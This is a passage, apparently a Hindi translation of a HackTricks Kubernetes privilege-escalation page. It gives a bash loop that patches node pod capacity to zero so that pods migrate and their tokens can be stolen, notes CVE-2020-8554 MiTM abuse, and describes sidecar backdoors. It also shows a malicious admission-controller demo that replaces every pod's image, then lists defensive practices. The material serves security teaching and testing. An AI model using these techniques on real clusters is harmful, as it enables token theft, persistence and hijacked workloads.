प्रिंसिपल जो पॉड्स को हटा सकते हैं (pods संसाधन पर delete क्रिया), या पॉड्स को निष्कासित कर सकते हैं (pods/eviction संसाधन पर create क्रिया), या पॉड स्थिति बदल सकते हैं (पॉड्स/स्थिति तक पहुंच) और अन्य नोड्स को अस्थायी बना सकते हैं (नोड्स/स्थिति तक पहुंच) या नोड्स को हटा सकते हैं (nodes संसाधन पर delete क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे अन्य नोड्स से पॉड्स चुरा सकते हैं ताकि वे समझौता किए गए नोड में निष्पादित हों और हमलावर उन पॉड्स से टोकन चुरा सके

bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Services status (CVE-2020-8554)

प्रिंसिपल जो services/status को संशोधित कर सकते हैं, वे status.loadBalancer.ingress.ip फ़ील्ड को अनफिक्स्ड CVE-2020-8554 का लाभ उठाने के लिए सेट कर सकते हैं और क्लस्टर के खिलाफ MiTM हमले शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार यह)।

Nodes and Pods status

प्रिंसिपल जिनके पास nodes/status या pods/status पर update या patch अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं जिससे लागू शेड्यूलिंग प्रतिबंध प्रभावित होते हैं।

Built-in Privileged Escalation Prevention

Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक बिल्ट-इन तंत्र है।

यह प्रणाली सुनिश्चित करती है कि उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है।

नियम stipulates करता है कि एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।

warning

पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास roles या clusterroles पर क्रिया escalate है, तो वह भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकारों को बढ़ा सकता है भले ही उसके पास स्वयं अनुमतियाँ न हों।

Get & Patch RoleBindings/ClusterRoleBindings

caution

स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है उसी कारण से जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से अनुमतियाँ नहीं हैं तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।

भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को भूमिकाओं को एक सेवा खाते से बाइंड करने की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने की अनुमति देता है।

Other Attacks

Sidecar proxy app

डिफ़ॉल्ट रूप से, पॉड के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड।

Create a sidecar proxy app

एक साइडकार कंटेनर बस एक दूसरा (या अधिक) कंटेनर एक पॉड के अंदर जोड़ने पर आधारित होता है।

उदाहरण के लिए, निम्नलिखित 2 कंटेनरों के साथ एक पॉड की कॉन्फ़िगरेशन का हिस्सा है:

yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

उदाहरण के लिए, एक नए कंटेनर के साथ एक मौजूदा पॉड में बैकडोर करने के लिए, आप बस विनिर्देशन में एक नया कंटेनर जोड़ सकते हैं। ध्यान दें कि आप दूसरे कंटेनर को अधिक अनुमति दे सकते हैं जो पहले को नहीं मिलेगी।

अधिक जानकारी के लिए: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

दुर्भावनापूर्ण प्रवेश नियंत्रक

एक प्रवेश नियंत्रक Kubernetes API सर्वर पर अनुरोधों को रोकता है वस्तु के स्थायीकरण से पहले, लेकिन अनुरोध को प्रमाणित और अधिकृत करने के बाद।

यदि एक हमलावर किसी तरह Mutation Admission Controller को इंजेक्ट करने में सफल हो जाता है, तो वह पहले से प्रमाणित अनुरोधों को संशोधित करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रूप से बने रहना।

उदाहरण https://blog.rewanthtammana.com/creating-malicious-admission-controllers से:

bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

स्थिति की जांच करें कि क्या यह तैयार है:

bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

फिर एक नया पॉड तैनात करें:

bash
kubectl run nginx --image nginx
kubectl get po -w

जब आप ErrImagePull त्रुटि देख सकते हैं, तो छवि नाम की जांच करें निम्नलिखित में से किसी एक क्वेरी के साथ:

bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने nginx इमेज चलाने की कोशिश की, लेकिन अंतिम निष्पादित इमेज rewanthtammana/malicious-image है। क्या हुआ!!?

Technicalities

./deploy.sh स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट के अनुसार Kubernetes API के अनुरोधों को संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes OPA Gatekeeper bypass

Best Practices

Service Account Tokens के Automount को बंद करना

  • Pods और Service Accounts: डिफ़ॉल्ट रूप से, pods एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount सुविधा को बंद करने की अनुमति देता है।
  • कैसे लागू करें: सेवा खातों या pods की कॉन्फ़िगरेशन में automountServiceAccountToken: false सेट करें, Kubernetes संस्करण 1.6 से शुरू।

RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट

  • चयनात्मक समावेश: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे।

Namespace-विशिष्ट Roles पर Cluster-Wide Roles

  • Roles बनाम ClusterRoles: ClusterRoles और ClusterRoleBindings के बजाय namespace-विशिष्ट अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें, जो क्लस्टर-व्यापी लागू होते हैं। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।

स्वचालित उपकरणों का उपयोग करें

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें